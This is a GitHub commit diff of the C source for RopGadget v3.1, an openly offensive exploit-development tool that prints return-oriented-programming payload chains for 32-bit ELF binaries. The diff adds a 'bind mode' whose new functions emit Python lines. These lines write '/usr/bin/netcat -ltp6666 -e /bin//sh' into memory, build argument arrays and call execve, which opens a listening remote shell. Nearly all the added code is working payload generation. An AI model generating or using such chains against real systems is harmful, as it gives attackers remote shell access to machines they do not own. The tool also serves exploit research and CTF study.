mirror of
https://github.com/JonathanSalwan/ROPgadget
synced 2026-06-08 11:25:23 +00:00
push v3.1
This commit is contained in:
Jonathan Salwan
+358
-15
@@ -1,7 +1,8 @@
|
||||
/*
|
||||
** RopGadget - Release v3.0
|
||||
** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
|
||||
** 2011-08-01
|
||||
** RopGadget - Release v3.1
|
||||
** Jonathan Salwan - http://twitter.com/JonathanSalwan
|
||||
** http://shell-storm.org
|
||||
** 2011-09-05
|
||||
**
|
||||
** Redistribution and use in source and binary forms, with or without
|
||||
** modification, are permitted provided that the following conditions
|
||||
@@ -17,9 +18,9 @@
|
||||
** Make a payload.
|
||||
** 4 parties:
|
||||
**
|
||||
** 1) write "/bin/sh\0" in .data
|
||||
** 2) init reg
|
||||
** 3) set %eax for execve() syscall
|
||||
** 1) write "/bin/sh\0" in .data or "/usr/bin/netcat" if -bind flag is enable
|
||||
** 2) registers initialisation
|
||||
** 3) initialisation of %eax for execve() syscall
|
||||
** 4) call "int 0x80" or "sysenter"
|
||||
**
|
||||
*/
|
||||
@@ -175,8 +176,8 @@ static void display_padding(int i)
|
||||
}
|
||||
}
|
||||
|
||||
/* partie 1 | write /bin/sh in .data */
|
||||
static void makepartie1(t_makecode *list_ins)
|
||||
/* partie 1 | write /bin/sh in .data for execvet("/bin/sh", NULL, NULL)*/
|
||||
static void makepartie1_local(t_makecode *list_ins)
|
||||
{
|
||||
Elf32_Addr addr_mov_gadget;
|
||||
Elf32_Addr addr_xor_gadget;
|
||||
@@ -212,7 +213,7 @@ static void makepartie1(t_makecode *list_ins)
|
||||
xor_gadget = get_gadget_since_addr(addr_xor_gadget);
|
||||
|
||||
fprintf(stdout, "\t%sPayload%s\n", YELLOW, ENDC);
|
||||
fprintf(stdout, "\t\t%s# Generated by RopGadget v3.0%s\n", BLUE, ENDC);
|
||||
fprintf(stdout, "\t\t%s# execve /bin/sh generated by RopGadget v3.1%s\n", BLUE, ENDC);
|
||||
|
||||
/*****************\/bin*********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
@@ -255,8 +256,306 @@ static void makepartie1(t_makecode *list_ins)
|
||||
free(second_reg);
|
||||
}
|
||||
|
||||
/* init reg => %ebx = "/bin/sh\0" | %ecx = "\0" | %edx = "\0" */
|
||||
static void makepartie2(t_makecode *list_ins)
|
||||
/* partie 1 bis | write //usr/bin/netcat -ltp6666 -e// /bin //sh in .data */
|
||||
static void makepartie1_remote(t_makecode *list_ins)
|
||||
{
|
||||
Elf32_Addr addr_mov_gadget;
|
||||
Elf32_Addr addr_xor_gadget;
|
||||
Elf32_Addr addr_pop_stack_gadget;
|
||||
Elf32_Addr addr_pop_binsh_gadget;
|
||||
char *mov_gadget;
|
||||
char *xor_gadget;
|
||||
char *pop_stack_gadget;
|
||||
char *pop_binsh_gadget;
|
||||
char *first_reg;
|
||||
char *second_reg;
|
||||
char reg_stack[32] = "pop %";
|
||||
char reg_binsh[32] = "pop %";
|
||||
char instr_xor[32] = "xor %";
|
||||
|
||||
|
||||
addr_mov_gadget = ret_addr_makecodefunc(list_ins, "mov %e?x,(%e?x)");
|
||||
mov_gadget = get_gadget_since_addr(addr_mov_gadget);
|
||||
|
||||
first_reg = get_first_reg(mov_gadget);
|
||||
second_reg = get_second_reg(mov_gadget);
|
||||
|
||||
strncat(reg_stack, second_reg, 3);
|
||||
strncat(reg_binsh, first_reg, 3);
|
||||
strncat(instr_xor, first_reg, 3);
|
||||
|
||||
addr_pop_stack_gadget = ret_addr_makecodefunc(list_ins, reg_stack);
|
||||
pop_stack_gadget = get_gadget_since_addr(addr_pop_stack_gadget);
|
||||
addr_pop_binsh_gadget = ret_addr_makecodefunc(list_ins, reg_binsh);
|
||||
pop_binsh_gadget = get_gadget_since_addr(addr_pop_binsh_gadget);
|
||||
|
||||
addr_xor_gadget = ret_addr_makecodefunc(list_ins, instr_xor);
|
||||
xor_gadget = get_gadget_since_addr(addr_xor_gadget);
|
||||
|
||||
fprintf(stdout, "\t%sPayload%s\n", YELLOW, ENDC);
|
||||
fprintf(stdout, "\t\t%s# /bin/sh bindport %s generated by RopGadget v3.1%s\n", BLUE, bind_mode.port, ENDC);
|
||||
|
||||
/*****************\//us*********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += \"//us\"%s\n", BLUE, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/*******************EOF*********************/
|
||||
|
||||
/******************r/bi*********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 4%s\n", BLUE, Addr_sData + 4, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += \"r/bi\"%s\n", BLUE, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/*******************EOF*********************/
|
||||
|
||||
/*****************\n/ne*********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 8%s\n", BLUE, Addr_sData + 8, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += \"n/ne\"%s\n", BLUE, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/*******************EOF*********************/
|
||||
|
||||
/******************tcat*********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 12%s\n", BLUE, Addr_sData + 12, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += \"tcat\"%s\n", BLUE, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/*******************EOF*********************/
|
||||
|
||||
/******************\0***********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 16%s\n", BLUE, Addr_sData + 16, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||||
display_padding(how_many_pop(xor_gadget));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/******************EOF**********************/
|
||||
|
||||
|
||||
|
||||
|
||||
/******************-ltp*********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 17%s\n", BLUE, Addr_sData + 17, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += \"-ltp\"%s\n", BLUE, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/*******************EOF*********************/
|
||||
|
||||
/******************<PORT>*******************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 21%s\n", BLUE, Addr_sData + 21, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += \"%s\"%s\n", BLUE, bind_mode.port, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/*******************EOF*********************/
|
||||
|
||||
/******************\0***********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 25%s\n", BLUE, Addr_sData + 25, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||||
display_padding(how_many_pop(xor_gadget));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/******************EOF**********************/
|
||||
|
||||
|
||||
|
||||
/******************-e//\********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 26%s\n", BLUE, Addr_sData + 26, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += \"-e//\"%s\n", BLUE, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/*******************EOF*********************/
|
||||
|
||||
/*****************\/bin*********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 30%s\n", BLUE, Addr_sData + 30, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += \"/bin\"%s\n", BLUE, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/*******************EOF*********************/
|
||||
|
||||
/******************\//sh********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 34%s\n", BLUE, Addr_sData + 34, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += \"//sh\"%s\n", BLUE, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/*******************EOF*********************/
|
||||
|
||||
/******************\0***********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 38%s\n", BLUE, Addr_sData + 38, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||||
display_padding(how_many_pop(xor_gadget));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/******************EOF**********************/
|
||||
|
||||
|
||||
/*********************************** make now arg_tab[] ***********************************/
|
||||
/*
|
||||
** data + 0 = "//usr/bin/netcat"
|
||||
** data + 17 = "-ltp6666"
|
||||
** data + 26 = "-e///bin//sh"
|
||||
** ^
|
||||
** +-- data + 38
|
||||
**
|
||||
** data + 40 = data + 0
|
||||
** data + 44 = data + 17
|
||||
** data + 48 = data + 26
|
||||
** data + 52 = NULL
|
||||
*/
|
||||
|
||||
/****************** data + 0 ********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 40%s\n", BLUE, Addr_sData + 40, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/******************* EOF **********************/
|
||||
|
||||
/****************** data + 17 ********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 44%s\n", BLUE, Addr_sData + 44, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 17%s\n", BLUE, Addr_sData + 17, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/******************* EOF **********************/
|
||||
|
||||
/****************** data + 17 ********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 48%s\n", BLUE, Addr_sData + 48, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 26%s\n", BLUE, Addr_sData + 26, ENDC);
|
||||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/******************* EOF **********************/
|
||||
|
||||
/****************** \0 [1] ***********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 52%s\n", BLUE, Addr_sData + 52, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||||
display_padding(how_many_pop(xor_gadget));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/****************** EOF **************************/
|
||||
|
||||
/****************** \0 [2] ***********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 53%s\n", BLUE, Addr_sData + 53, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||||
display_padding(how_many_pop(xor_gadget));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/****************** EOF **************************/
|
||||
|
||||
/****************** \0 [3] ***********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 54%s\n", BLUE, Addr_sData + 54, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||||
display_padding(how_many_pop(xor_gadget));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/****************** EOF **************************/
|
||||
|
||||
/****************** \0 [4] ***********************/
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 55%s\n", BLUE, Addr_sData + 55, ENDC);
|
||||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||||
display_padding(how_many_pop(xor_gadget));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||||
display_padding(how_many_pop(mov_gadget));
|
||||
/****************** EOF **************************/
|
||||
|
||||
/**************************************** EOF *********************************************/
|
||||
|
||||
free(first_reg);
|
||||
free(second_reg);
|
||||
}
|
||||
|
||||
/* partie 2 init reg => %ebx = "/bin/sh\0" | %ecx = "\0" | %edx = "\0" for execve("/bin/sh", NULL, NULL)*/
|
||||
static void makepartie2_local(t_makecode *list_ins)
|
||||
{
|
||||
Elf32_Addr addr_pop_ebx;
|
||||
Elf32_Addr addr_pop_ecx;
|
||||
@@ -291,7 +590,43 @@ static void makepartie2(t_makecode *list_ins)
|
||||
display_padding(how_many_pop_after(pop_edx_gadget, "pop %edx"));
|
||||
}
|
||||
|
||||
/* init eax = 0xb (execve) */
|
||||
/* partie 2 init reg => %ebx = "/usb/bin/netcat\0" | %ecx = arg | %edx = "\0" */
|
||||
static void makepartie2_remote(t_makecode *list_ins)
|
||||
{
|
||||
Elf32_Addr addr_pop_ebx;
|
||||
Elf32_Addr addr_pop_ecx;
|
||||
Elf32_Addr addr_pop_edx;
|
||||
char *pop_ebx_gadget;
|
||||
char *pop_ecx_gadget;
|
||||
char *pop_edx_gadget;
|
||||
|
||||
addr_pop_ebx = ret_addr_makecodefunc(list_ins, "pop %ebx");
|
||||
addr_pop_ecx = ret_addr_makecodefunc(list_ins, "pop %ecx");
|
||||
addr_pop_edx = ret_addr_makecodefunc(list_ins, "pop %edx");
|
||||
pop_ebx_gadget = get_gadget_since_addr(addr_pop_ebx);
|
||||
pop_ecx_gadget = get_gadget_since_addr(addr_pop_ecx);
|
||||
pop_edx_gadget = get_gadget_since_addr(addr_pop_edx);
|
||||
|
||||
/* set %ebx */
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_ebx, pop_ebx_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_ebx_gadget, "pop %ebx"));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
|
||||
display_padding(how_many_pop_after(pop_ebx_gadget, "pop %ebx"));
|
||||
|
||||
/* set %ecx */
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_ecx, pop_ecx_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_ecx_gadget, "pop %ecx"));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 40%s\n", BLUE, Addr_sData + 40, ENDC);
|
||||
display_padding(how_many_pop_after(pop_ecx_gadget, "pop %ecx"));
|
||||
|
||||
/* set %edx */
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_edx, pop_edx_gadget, ENDC);
|
||||
display_padding(how_many_pop_before(pop_edx_gadget, "pop %edx"));
|
||||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 52%s\n", BLUE, Addr_sData + 52, ENDC);
|
||||
display_padding(how_many_pop_after(pop_edx_gadget, "pop %edx"));
|
||||
}
|
||||
|
||||
/* partie 3 init eax = 0xb (execve) */
|
||||
static void makepartie3(t_makecode *list_ins)
|
||||
{
|
||||
Elf32_Addr addr_xor_eax;
|
||||
@@ -318,7 +653,7 @@ static void makepartie3(t_makecode *list_ins)
|
||||
}
|
||||
}
|
||||
|
||||
/* call "int 0x80" or "sysenter" */
|
||||
/* partie 4 call "int 0x80" or "sysenter" */
|
||||
static void makepartie4(t_makecode *list_ins)
|
||||
{
|
||||
Elf32_Addr addr_int_0x80;
|
||||
@@ -343,8 +678,16 @@ static void makepartie4(t_makecode *list_ins)
|
||||
|
||||
void makecode(t_makecode *list_ins)
|
||||
{
|
||||
makepartie1(list_ins);
|
||||
makepartie2(list_ins);
|
||||
if (!bind_mode.flag)
|
||||
{
|
||||
makepartie1_local(list_ins);
|
||||
makepartie2_local(list_ins);
|
||||
}
|
||||
else
|
||||
{
|
||||
makepartie1_remote(list_ins);
|
||||
makepartie2_remote(list_ins);
|
||||
}
|
||||
makepartie3(list_ins);
|
||||
makepartie4(list_ins);
|
||||
fprintf(stdout, "\t%sEOF Payload%s\n", YELLOW, ENDC);
|
||||
|
||||
Reference in New Issue
Block a user